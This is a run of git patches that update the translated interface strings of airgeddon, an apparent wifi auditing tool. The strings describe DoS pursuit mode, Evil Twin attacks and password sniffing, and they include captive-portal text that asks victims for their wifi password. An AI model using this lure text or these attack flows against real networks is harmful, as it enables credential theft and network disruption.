-5567,7 +5567,7 @@ function language_strings() { arr["PORTUGUESE",509]="Se você quiser integrar o ataque DoS com o \"modo de perseguição\" em um ataque Evil Twin, será necessário ter uma interface wifi adicional no modo monitor" arr["RUSSIAN",509]="Если вы хотите интегрировать \"режим DoS преследования\" на атаку Evil Twin, то для выполнения этого потребуется еще один дополнительный интерфейс wifi в режиме монитора" arr["GREEK",509]="Εάν θέλετε να ενσωματώσετε το \"DoS pursuit mode\" σε μια επίθεση Evil Twin, θα χρειαστεί μια επιπλέον διεπαφή wifi σε κατάσταση παρακολούθησης για να εκτελεστεί σωστά" - arr["ITALIAN",509]="${pending_of_translation} Se si desidera integrare la \"modalità DoS persecuzione\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi aggiuntiva in modalità monitor" + arr["ITALIAN",509]="Se si desidera integrare la modalitá \"DoS pursuit mode\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi aggiuntiva in modalità monitor" arr["POLISH",509]="${pending_of_translation} Jeśli chcesz zintegrować \"tryb pościgowy DoS\" w ataku Evil Twin, konieczne będzie posiadanie innego dodatkowego interfejsu wifi w trybie monitorowania, aby go przeprowadzić" arr["ENGLISH",510]="On this screen, it's supposed an additional wifi interface is chosen, but you don't have anyone at this moment" @@ -5577,7 +5577,7 @@ function language_strings() { arr["PORTUGUESE",510]="Nesta tela você deveria escolher uma interface wifi adicional, mas você não tem nenhuma neste momento" arr["RUSSIAN",510]="На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет других беспроводных интерфейсов" arr["GREEK",510]="Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε επιλέξει κάποια αυτήν τη στιγμή" - arr["ITALIAN",510]="${pending_of_translation} In questa schermata, dovresti scegliere un'altra interfaccia wifi aggiuntiva, ma in questo momento non ne hai" + arr["ITALIAN",510]="In questa schermata, dovresti scegliere un'altra interfaccia wifi addizionale, ma in questo momento non ne hai nessuna" arr["POLISH",510]="${pending_of_translation} Na tym ekranie należy wybrać inny dodatkowy interfejs wifi, ale nie masz go w tym momencie" arr["ENGLISH",511]="Select another wireless interface :" @@ -5587,7 +5587,7 @@ function language_strings() { arr["PORTUGUESE",511]="Selecione outra interface sem fio :" arr["RUSSIAN",511]="Выберите дополнительный беспроводной интерфейс :" arr["GREEK",511]="Επιλέξτε άλλη μία ασύρματη διεπαφή :" - arr["ITALIAN",511]="${pending_of_translation} Seleziona un'altra interfaccia wireless :" + arr["ITALIAN",511]="Seleziona un'altra interfaccia wireless :" arr["POLISH",511]="${pending_of_translation} Wybierz inny interfejs bezprzewodowy :" arr["ENGLISH",512]="\"DoS pursuit mode\" interface: ${pink_color}${secondary_wifi_interface}${normal_color}" @@ -5597,7 +5597,7 @@ function language_strings() { arr["PORTUGUESE",512]="Interface para o ataque DoS em \"modo de perseguição\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["RUSSIAN",512]="Интерфейс для \"режима DoS преследования\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["GREEK",512]="Διεπαφή για \"DoS pursuit mode\": ${pink_color}${secondary_wifi_interface}${normal_color}" - arr["ITALIAN",512]="${pending_of_translation} Interfaccia per \"modalità DoS persecuzione\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["ITALIAN",512]="Interfaccia per la modalitá \"DoS pursuit mode\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["POLISH",512]="${pending_of_translation} Interfejs dla \"tryb pościgowy DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["ENGLISH",513]="Interface will be tried to be changed to monitor mode automatically" @@ -5607,7 +5607,7 @@ function language_strings() { arr["PORTUGUESE",513]="O script tentará mudar a interface para o modo monitor automaticamente" arr["RUSSIAN",513]="Будет сделана автоматическая попытка перевести интерфейс в режим монитора" arr["GREEK",513]="Γίνεται απόπειρα αλλαγής κατάστασης διεπαφής σε κατάσταση παρακολούθησης" - arr["ITALIAN",513]="${pending_of_translation} Cercherà di cambiare automaticamente l'interfaccia alla modalità monitor" + arr["ITALIAN",513]="Si cercherà di cambiare automaticamente l'interfaccia alla modalità monitor" arr["POLISH",513]="${pending_of_translation} Spowoduje to automatyczną zmianę interfejsu w tryb monitorowania" case "${3}" in From 2e9e3d597279ada74271317e6d7b01c82f4ca50a Mon Sep 17 00:00:00 2001 From: cLn73 Date: Sun, 12 Nov 2017 16:48:09 +0100 Subject: [PATCH 55/70] Updated Catalan Translations --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 7f2a4e6ee..3da5a924f 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1043,7 +1043,7 @@ function language_strings() { arr["ENGLISH",57]="Language changed to Polish" arr["SPANISH",57]="Idioma cambiado a Polaco" arr["FRENCH",57]="${pending_of_translation} Le script sera maintenant en Polonais" - arr["CATALAN",57]="${pending_of_translation} Idioma canviat a Polonès" + arr["CATALAN",57]="Idioma canviat a Polonès" arr["PORTUGUESE",57]="Idioma alterado para Polonês" arr["RUSSIAN",57]="Язык изменён на польский" arr["GREEK",57]="Η γλώσσα άλλαξε στα Πολωνικά" @@ -1053,7 +1053,7 @@ function language_strings() { arr["ENGLISH",58]="9. Polish" arr["SPANISH",58]="9. Polaco" arr["FRENCH",58]="${pending_of_translation} 9. Polonais" - arr["CATALAN",58]="${pending_of_translation} 9. Polonès" + arr["CATALAN",58]="9. Polonès" arr["PORTUGUESE",58]="9. Polonês" arr["RUSSIAN",58]="9. Польский" arr["GREEK",58]="9. Πολωνικά" From 09bf816824cac5554ba352fd5d9bac27c851b0a5 Mon Sep 17 00:00:00 2001 From: rdcdt1 Date: Mon, 13 Nov 2017 14:26:15 +0100 Subject: [PATCH 56/70] update french translation --- language_strings.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 3da5a924f..0ec871180 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -5522,7 +5522,7 @@ function language_strings() { arr["ENGLISH",505]="Do you want to enable \"DoS pursuit mode\"? ${blue_color}This will launch again the attack if target AP change its channel countering \"channel hopping\" ${normal_color}${visual_choice}" arr["SPANISH",505]="¿Deseas activar el \"modo persecución DoS\"? ${blue_color}Esto relanzará el ataque si el AP objetivo cambia de canal contrarrestando el \"channel hopping\" ${normal_color}${visual_choice}" - arr["FRENCH",505]="${pending_of_translation} Voulez-vous activer le \"mode de poursuite DoS\"? ${blue_color}Cela relancera l'attaque si le AP cible change de canal en contrecarrant le \"channel hopping\" ${normal_color}${visual_choice}" + arr["FRENCH",505]="Voulez-vous activer \"le mode poursuite DoS\"? ${blue_color}Cela relancera l'attaque si le AP cible change de canal en contrecarrant le \"channel hopping\" ${normal_color}${visual_choice}" arr["CATALAN",505]="¿Vols activar el \"mode persecució DoS\"? ${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" ${normal_color}${visual_choice}" arr["PORTUGUESE",505]="Você deseja ativar o \"modo de perseguição\"? ${blue_color}Isso irá iniciar o ataque novamente se o alvo mudar de canal, evitando o \"channel hopping\" ${normal_color}${visual_choice}" arr["RUSSIAN",505]="${pending_of_translation} Вы хотите включить \"режим преследования DoS\"? ${blue_color}Это снова запустит атаку, если целевая AP изменит свой канал, противодействуя \"channel hopping\" ${normal_color}${visual_choice}" @@ -5532,7 +5532,7 @@ function language_strings() { arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" - arr["FRENCH",506]="${pending_of_translation} L'attaque DoS avec le mode \"mode de poursuite DoS\" activé démarre lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" + arr["FRENCH",506]="L'attaque DoS avec le \"mode poursuite DoS\" activation démarrera lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" arr["CATALAN",506]="L'atac DoS amb el \"mode persecució DoS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" arr["RUSSIAN",506]="DoS-атака с включенным \"режимом DoS преследования\" будет запущена когда вы в этом окне нажмёте [Enter]. Для её остановки нажмите [Ctrl+C] или закройте окно атаки" @@ -5542,7 +5542,7 @@ function language_strings() { arr["ENGLISH",507]="Channel change detected. Relaunching again DoS attack on \"DoS pursuit mode\" now on channel ${normal_color}${channel}" arr["SPANISH",507]="Cambio de canal detectado. Relanzando de nuevo ataque DoS en \"modo persecución DoS\" ahora sobre el canal ${normal_color}${channel}" - arr["FRENCH",507]="${pending_of_translation} Changement de canal détecté. Redémarrage de DoS attaque à nouveau dans \"mode de poursuite DoS\" maintenant sur le canal ${normal_color}${channel}" + arr["FRENCH",507]="Changement de canal détecté. Redémarrage de l'attaque DoS dans le \"mode de poursuite DoS\" maintenant sur le canal ${normal_color}${channel}" arr["CATALAN",507]="Canvi de canal detectat. Rellançant de nou l'atac DoS en \"mode persecució DoS\" ara sobre el canal ${normal_color}${channel}" arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" arr["RUSSIAN",507]="Обнаружено изменение канала. Перезапуск DoS-атаки в \"режиме DoS преследования\" теперь на канале ${normal_color}${channel}" @@ -5552,7 +5552,7 @@ function language_strings() { arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" arr["SPANISH",508]="El \"modo persecución DoS\" puede ser inestable para este tipo de ataque DoS. Si el resultado no es óptimo selecciona otro tipo de ataque" - arr["FRENCH",508]="${pending_of_translation} \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" + arr["FRENCH",508]="Le \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" arr["CATALAN",508]="El \"mode persecució DoS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" arr["RUSSIAN",508]="\"Режим DoS преследования\" может быть нестабильной для такой DoS-атаки. Если вы не получаете приемлемого результата, просто выберите другой тип атаки" @@ -5562,7 +5562,7 @@ function language_strings() { arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, another additional wifi interface in monitor mode will be needed to be able to perform it" arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi adicional en modo monitor para llevarlo a cabo" - arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" + arr["FRENCH",509]="Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" arr["CATALAN",509]="Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" arr["PORTUGUESE",509]="Se você quiser integrar o ataque DoS com o \"modo de perseguição\" em um ataque Evil Twin, será necessário ter uma interface wifi adicional no modo monitor" arr["RUSSIAN",509]="Если вы хотите интегрировать \"режим DoS преследования\" на атаку Evil Twin, то для выполнения этого потребуется еще один дополнительный интерфейс wifi в режиме монитора" @@ -5572,7 +5572,7 @@ function language_strings() { arr["ENGLISH",510]="On this screen, it's supposed an additional wifi interface is chosen, but you don't have anyone at this moment" arr["SPANISH",510]="En esta pantalla, se supone que deberías elegir otro interfaz wifi adicional, pero no dispones de ninguno en este momento" - arr["FRENCH",510]="${pending_of_translation} Sur cet écran, vous êtes supposé choisir une autre interface wifi supplémentaire, mais vous n'en avez pas en ce moment" + arr["FRENCH",510]="Sur cet écran, vous pourriez choisir une interface wifi supplémentaire, mais vous n'en avez pas d'autre en ce moment" arr["CATALAN",510]="En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" arr["PORTUGUESE",510]="Nesta tela você deveria escolher uma interface wifi adicional, mas você não tem nenhuma neste momento" arr["RUSSIAN",510]="На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет других беспроводных интерфейсов" @@ -5582,7 +5582,7 @@ function language_strings() { arr["ENGLISH",511]="Select another wireless interface :" arr["SPANISH",511]="Selecciona otra interfaz inalámbrica :" - arr["FRENCH",511]="${pending_of_translation} Sélectionnez une autre interface sans fil :" + arr["FRENCH",511]="Sélectionnez une autre interface sans fil :" arr["CATALAN",511]="Selecciona un altra interfície sense fils :" arr["PORTUGUESE",511]="Selecione outra interface sem fio :" arr["RUSSIAN",511]="Выберите дополнительный беспроводной интерфейс :" @@ -5592,7 +5592,7 @@ function language_strings() { arr["ENGLISH",512]="\"DoS pursuit mode\" interface: ${pink_color}${secondary_wifi_interface}${normal_color}" arr["SPANISH",512]="Interfaz para \"modo persecución DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" - arr["FRENCH",512]="${pending_of_translation} Interface pour \"mode de poursuite DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["FRENCH",512]="Interface pour le \"mode de poursuite DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["CATALAN",512]="Interfície per \"mode persecució DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["PORTUGUESE",512]="Interface para o ataque DoS em \"modo de perseguição\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["RUSSIAN",512]="Интерфейс для \"режима DoS преследования\": ${pink_color}${secondary_wifi_interface}${normal_color}" @@ -5602,7 +5602,7 @@ function language_strings() { arr["ENGLISH",513]="Interface will be tried to be changed to monitor mode automatically" arr["SPANISH",513]="Se intentará cambiar la interfaz a modo monitor automáticamente" - arr["FRENCH",513]="${pending_of_translation} Il va essayer de changer l'interface pour mode moniteur automatiquement" + arr["FRENCH",513]="l'interface va essayer de changer en mode monitor automatiquement" arr["CATALAN",513]="S'intentarà canviar la interfície a mode monitor automàticament" arr["PORTUGUESE",513]="O script tentará mudar a interface para o modo monitor automaticamente" arr["RUSSIAN",513]="Будет сделана автоматическая попытка перевести интерфейс в режим монитора" From 485a22e2f6de64711a804fa8167884f23e3b0303 Mon Sep 17 00:00:00 2001 From: rdcdt1 <32702263+rdcdt1@users.noreply.github.com> Date: Mon, 13 Nov 2017 14:43:54 +0100 Subject: [PATCH 57/70] add string 57 and 58 translation in french --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 0ec871180..11e60028a 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1042,7 +1042,7 @@ function language_strings() { arr["ENGLISH",57]="Language changed to Polish" arr["SPANISH",57]="Idioma cambiado a Polaco" - arr["FRENCH",57]="${pending_of_translation} Le script sera maintenant en Polonais" + arr["FRENCH",57]="Le script sera maintenant en Polonais" arr["CATALAN",57]="Idioma canviat a Polonès" arr["PORTUGUESE",57]="Idioma alterado para Polonês" arr["RUSSIAN",57]="Язык изменён на польский" @@ -1052,7 +1052,7 @@ function language_strings() { arr["ENGLISH",58]="9. Polish" arr["SPANISH",58]="9. Polaco" - arr["FRENCH",58]="${pending_of_translation} 9. Polonais" + arr["FRENCH",58]="9. Polonais" arr["CATALAN",58]="9. Polonès" arr["PORTUGUESE",58]="9. Polonês" arr["RUSSIAN",58]="9. Польский" From 3ae589f797036f13941b6984c210525d2fa1f976 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 13 Nov 2017 23:23:48 +0100 Subject: [PATCH 58/70] Minor fix on language string. --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 11e60028a..9193adc26 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171111 +#Date.........: 20171113 #Bash Version.: 4.2 or later #Set language_strings file version @@ -5547,7 +5547,7 @@ function language_strings() { arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" arr["RUSSIAN",507]="Обнаружено изменение канала. Перезапуск DoS-атаки в \"режиме DoS преследования\" теперь на канале ${normal_color}${channel}" arr["GREEK",507]="Εντοπίστηκε αλλαγή καναλιού. Γίνεται πάλι επίθεση DoS \"DoS pursuit mode\" στο κανάλι ${normal_color}${channel}" - arr["ITALIAN",507]="Cambio di canale rilevato. Riavviare nuovamente l'attacco Dos in modalità \"DoS pursuit mode\" sul canale ${normal_color}${channel}" + arr["ITALIAN",507]="Cambio di canale rilevato. Riavviare nuovamente l'attacco DoS in modalità \"DoS pursuit mode\" sul canale ${normal_color}${channel}" arr["POLISH",507]="${pending_of_translation} Wykryto zmianę kanału. Ponowne uruchomienie ataku DoS w trybie \"tryb pościgowy DoS\" na kanale ${normal_color}${channel}" arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" From 214e93b66b9842063c2f0629fdaf6c4f56f9ca2e Mon Sep 17 00:00:00 2001 From: dodg3rmaq <33019262+dodg3rmaq@users.noreply.github.com> Date: Fri, 17 Nov 2017 18:30:02 +0100 Subject: [PATCH 59/70] Update language_strings.sh --- language_strings.sh | 156 ++++++++++++++++++++++---------------------- 1 file changed, 78 insertions(+), 78 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 9193adc26..6a3e0ff1a 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -34,7 +34,7 @@ function language_strings() { unknown_chipset["RUSSIAN"]="Неизвестно" unknown_chipset["GREEK"]="Άγνωστο" unknown_chipset["ITALIAN"]="Sconosciuto" - unknown_chipset["POLISH"]="${pending_of_translation} Nieznany" + unknown_chipset["POLISH"]="Nieznany" unknown_chipsetvar="${unknown_chipset[${language}]}" declare -A hintprefix @@ -46,7 +46,7 @@ function language_strings() { hintprefix["RUSSIAN"]="Подсказка" hintprefix["GREEK"]="Συμβουλή" hintprefix["ITALIAN"]="Consiglio" - hintprefix["POLISH"]="${pending_of_translation} Porady" + hintprefix["POLISH"]="Wskazówka" hintvar="*${hintprefix[${language}]}*" escaped_hintvar="\*${hintprefix[${language}]}\*" @@ -59,7 +59,7 @@ function language_strings() { optionaltool_needed["RUSSIAN"]="Опция заблокирована, требуется: " optionaltool_needed["GREEK"]="Κλειδωμένη επιλογή, χρειάζεται: " optionaltool_needed["ITALIAN"]="Opzione bloccata, richiede: " - optionaltool_needed["POLISH"]="${pending_of_translation} Zablokowana opcja, wymaga: " + optionaltool_needed["POLISH"]="Opcja zablokowana, wymaga: " declare -A under_construction under_construction["ENGLISH"]="under construction" @@ -70,7 +70,7 @@ function language_strings() { under_construction["RUSSIAN"]="на ремонте" under_construction["GREEK"]="υπό κατασκευή" under_construction["ITALIAN"]="in costruzione" - under_construction["POLISH"]="${pending_of_translation} w budowie" + under_construction["POLISH"]="w budowie" under_constructionvar="${under_construction[${language}]}" declare -gA possible_package_names_text @@ -82,7 +82,7 @@ function language_strings() { possible_package_names_text["RUSSIAN"]="Возможное имя пакета" possible_package_names_text["GREEK"]="Πιθανό όνομα πακέτου" possible_package_names_text["ITALIAN"]="Possibile nome del pacchetto" - possible_package_names_text["POLISH"]="${pending_of_translation} Możliwa nazwa pakietu" + possible_package_names_text["POLISH"]="Możliwa nazwa pakietu" declare -gA et_misc_texts et_misc_texts["ENGLISH",0]="Evil Twin AP Info" @@ -93,7 +93,7 @@ function language_strings() { et_misc_texts["RUSSIAN",0]="Информация о Злом Двойнике ТД" et_misc_texts["GREEK",0]="Πληροφορίες Evil Twin AP" et_misc_texts["ITALIAN",0]="Info Evil Twin AP" - et_misc_texts["POLISH",0]="${pending_of_translation} Info Evil Twin AP" + et_misc_texts["POLISH",0]="Informacja Evil Twin AP" et_misc_texts["ENGLISH",1]="Channel" et_misc_texts["SPANISH",1]="Canal" @@ -103,7 +103,7 @@ function language_strings() { et_misc_texts["RUSSIAN",1]="Канал" et_misc_texts["GREEK",1]="Κανάλι" et_misc_texts["ITALIAN",1]="Canale" - et_misc_texts["POLISH",1]="${pending_of_translation} Kanał" + et_misc_texts["POLISH",1]="Kanał" et_misc_texts["ENGLISH",2]="Online time" et_misc_texts["SPANISH",2]="Tiempo online" @@ -113,7 +113,7 @@ function language_strings() { et_misc_texts["RUSSIAN",2]="Время онлайн" et_misc_texts["GREEK",2]="Χρόνος σε σύνδεση" et_misc_texts["ITALIAN",2]="Tempo online" - et_misc_texts["POLISH",2]="${pending_of_translation} Czas online" + et_misc_texts["POLISH",2]="Czas online" et_misc_texts["ENGLISH",3]="DHCP ips given to possible connected clients" et_misc_texts["SPANISH",3]="Ips entregadas por DHCP a posibles clientes conectados" @@ -123,7 +123,7 @@ function language_strings() { et_misc_texts["RUSSIAN",3]="IP, которые DHCP будет давать возможным подключённым клиентам" et_misc_texts["GREEK",3]="DHCP IP διευθύνσεις που έχουν δωθεί σε πιθανούς συνδεδεμένους χρήστες" et_misc_texts["ITALIAN",3]="Ips forniti dal DHCP a possibili clienti collegati" - et_misc_texts["POLISH",3]="${pending_of_translation} IP dostarczane przez DHCP do potencjalnych klientów połączonych" + et_misc_texts["POLISH",3]="Adresy IP przydzielane przez DHCP do połączonych potencjalnych klientów" et_misc_texts["ENGLISH",4]="With this attack you have to use an external sniffer to try to obtain client passwords connected to the network" et_misc_texts["SPANISH",4]="Con este ataque has de usar un sniffer externo para intentar obtener contraseñas de los clientes conectados a la red" @@ -133,7 +133,7 @@ function language_strings() { et_misc_texts["RUSSIAN",4]="С этой атакой вам нужно использовать внешний сниффер для попытки получить пароли клиентов, подключённых к сети" et_misc_texts["GREEK",4]="Με αυτή την επίθεση θα πρέπει να χρησιμοποιήσετε έναν εξωτερικό sniffer για να μπορέσετε να υποκλέψετε κωδικούς πρόσβασης από τους χρήστες που είναι συνδεδεμένοι στο δίκτυο" et_misc_texts["ITALIAN",4]="Con questo attacco è necessario utilizzare uno sniffer esterno per cercare di ottenere le password dei clienti connessi alla rete" - et_misc_texts["POLISH",4]="${pending_of_translation} W tym ataku musisz użyć zewnętrznego sniffer, aby spróbować uzyskać hasła od klientów podłączonych do sieci" + et_misc_texts["POLISH",4]="W tym ataku musisz użyć zewnętrznego sniffera, aby spróbować uzyskać hasła od klientów podłączonych do sieci" et_misc_texts["ENGLISH",5]="With this attack, watch the sniffer's screen to see if a password appears" et_misc_texts["SPANISH",5]="Con este ataque, estate atento a la pantalla del sniffer para ver si aparece alguna contraseña" @@ -143,7 +143,7 @@ function language_strings() { et_misc_texts["RUSSIAN",5]="С этой атакой смотрите на окно сниффера, чтобы следить за появлением пароля" et_misc_texts["GREEK",5]="Με αυτή την επίθεση, παρακολουθήστε την οθόνη του sniffer για να δείτε αν εχει εμφανιστεί κάποιος κωδικός πρόσβασης" et_misc_texts["ITALIAN",5]="Con questo attacco, presta attenzione alla schermata dello sniffer per vedere se compare una password" - et_misc_texts["POLISH",5]="${pending_of_translation} Podczas tego ataku pozostajcie na ekranie sniffer, aby zobaczyć, czy pojawia się hasło" + et_misc_texts["POLISH",5]="Podczas tego ataku obserwuj ekran sniffera, aby zobaczyć, czy pojawia się hasło" et_misc_texts["ENGLISH",6]="With this attack, we'll wait for a network client to provide us with the password for the wifi network in our captive portal" et_misc_texts["SPANISH",6]="Con este ataque, esperaremos a que un cliente de la red nos provea de la contraseña de la red wifi en nuestro portal cautivo" @@ -153,7 +153,7 @@ function language_strings() { et_misc_texts["RUSSIAN",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для wifi сети на нашем перехватывающем портале" et_misc_texts["GREEK",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό πρόσβασης του wifi στο captive portal μας" et_misc_texts["ITALIAN",6]="Con questo attacco, aspettaremo che un cliente della rete ci fornisca la password per la rete wireless attraverso il nostro captive portal" - et_misc_texts["POLISH",6]="${pending_of_translation} Wraz z tym atakiem poczekamy na klienta sieci, aby podać nam hasło do sieci wifi w naszym portalu" + et_misc_texts["POLISH",6]="W tym ataku poczekamy na klienta sieci aż poda nam hasło do sieci wifi na naszej stronie captive portal" et_misc_texts["ENGLISH",7]="No clients connected yet" et_misc_texts["SPANISH",7]="No hay clientes conectados aún" @@ -163,7 +163,7 @@ function language_strings() { et_misc_texts["RUSSIAN",7]="Клиенты ещё не подключены" et_misc_texts["GREEK",7]="Ακόμα κανένας συνδεδεμένος χρήστης" et_misc_texts["ITALIAN",7]="Non ci sono ancora clienti collegati" - et_misc_texts["POLISH",7]="${pending_of_translation} Żaden klient nie był jeszcze podłączony" + et_misc_texts["POLISH",7]="Nie ma jeszcze żadnych podłączonych klientów" et_misc_texts["ENGLISH",8]="airgeddon. Evil Twin attack captured passwords" et_misc_texts["SPANISH",8]="airgeddon. Contraseñas capturadas en ataque Evil Twin" @@ -173,7 +173,7 @@ function language_strings() { et_misc_texts["RUSSIAN",8]="airgeddon. Атака Злой Двойник захватила пароли" et_misc_texts["GREEK",8]="airgeddon. Η επίθεση Evil Twin κατέγραψε κωδικούς πρόσβασης" et_misc_texts["ITALIAN",8]="airgeddon. Password catturate con l'attacco Evil Twin" - et_misc_texts["POLISH",8]="${pending_of_translation} airgeddon. Hasła zdobyte podczas ataku Evil Twin" + et_misc_texts["POLISH",8]="airgeddon. Hasła przechwycone podczas ataku Evil Twin" et_misc_texts["ENGLISH",9]="Wireless network, ESSID:" et_misc_texts["SPANISH",9]="Red inalámbrica, ESSID:" @@ -183,7 +183,7 @@ function language_strings() { et_misc_texts["RUSSIAN",9]="Беспроводная сеть, ESSID:" et_misc_texts["GREEK",9]="Ασύρματο Δίκτυο, ESSID:" et_misc_texts["ITALIAN",9]="Rete wireless, ESSID:" - et_misc_texts["POLISH",9]="${pending_of_translation} Sieć bezprzewodowa, ESSID:" + et_misc_texts["POLISH",9]="Sieć bezprzewodowa, ESSID:" et_misc_texts["ENGLISH",10]="Enter your wireless network password to get internet access" et_misc_texts["SPANISH",10]="Introduzca su contraseña de acceso a la red inalámbrica para poder acceder a internet" @@ -193,7 +193,7 @@ function language_strings() { et_misc_texts["RUSSIAN",10]="Введите пароль Вашей беспроводной сети для подключения к Интернету" et_misc_texts["GREEK",10]="Εισάγετε τον κωδικό πρόσβασης του wifi δικτύου σας για να υπάρξει σύνδεση στο διαδίκτυο" et_misc_texts["ITALIAN",10]="Introdurre la password della rete wireless per poter accedere a internet" - et_misc_texts["POLISH",10]="${pending_of_translation} Wprowadź hasło dostępu do sieci bezprzewodowej, aby uzyskać dostęp do internetu" + et_misc_texts["POLISH",10]="Wprowadź hasło do sieci bezprzewodowej, aby uzyskać dostęp do internetu" et_misc_texts["ENGLISH",11]="Password" et_misc_texts["SPANISH",11]="Contraseña" @@ -203,7 +203,7 @@ function language_strings() { et_misc_texts["RUSSIAN",11]="Пароль" et_misc_texts["GREEK",11]="Κωδικός πρόσβασης" et_misc_texts["ITALIAN",11]="Password" - et_misc_texts["POLISH",11]="${pending_of_translation} Hasło" + et_misc_texts["POLISH",11]="Hasło" et_misc_texts["ENGLISH",12]="Show password" et_misc_texts["SPANISH",12]="Mostrar contraseña" @@ -213,7 +213,7 @@ function language_strings() { et_misc_texts["RUSSIAN",12]="Показать пароль" et_misc_texts["GREEK",12]="Εμφάνιση κωδικού πρόσβασης" et_misc_texts["ITALIAN",12]="Mostrare password" - et_misc_texts["POLISH",12]="${pending_of_translation} Pokaż hasło" + et_misc_texts["POLISH",12]="Pokaż hasło" et_misc_texts["ENGLISH",13]="Submit" et_misc_texts["SPANISH",13]="Enviar" @@ -223,7 +223,7 @@ function language_strings() { et_misc_texts["RUSSIAN",13]="Отправить" et_misc_texts["GREEK",13]="Υποβολή" et_misc_texts["ITALIAN",13]="Inviare" - et_misc_texts["POLISH",13]="${pending_of_translation} Wyślij" + et_misc_texts["POLISH",13]="Wyślij" et_misc_texts["ENGLISH",14]="An unexpected error occurred, redirecting to the main screen" et_misc_texts["SPANISH",14]="Ha ocurrido un error inesperado, redirigiendo a la pantalla principal" @@ -233,7 +233,7 @@ function language_strings() { et_misc_texts["RUSSIAN",14]="Непредвиденная ошибка, перенаправление на главную страницу" et_misc_texts["GREEK",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",14]="Si è verificato un errore imprevisto, reindirizzando alla schermata principale" - et_misc_texts["POLISH",14]="${pending_of_translation} Wystąpił nieoczekiwany błąd, przekierowując do ekranu głównego" + et_misc_texts["POLISH",14]="Wystąpił 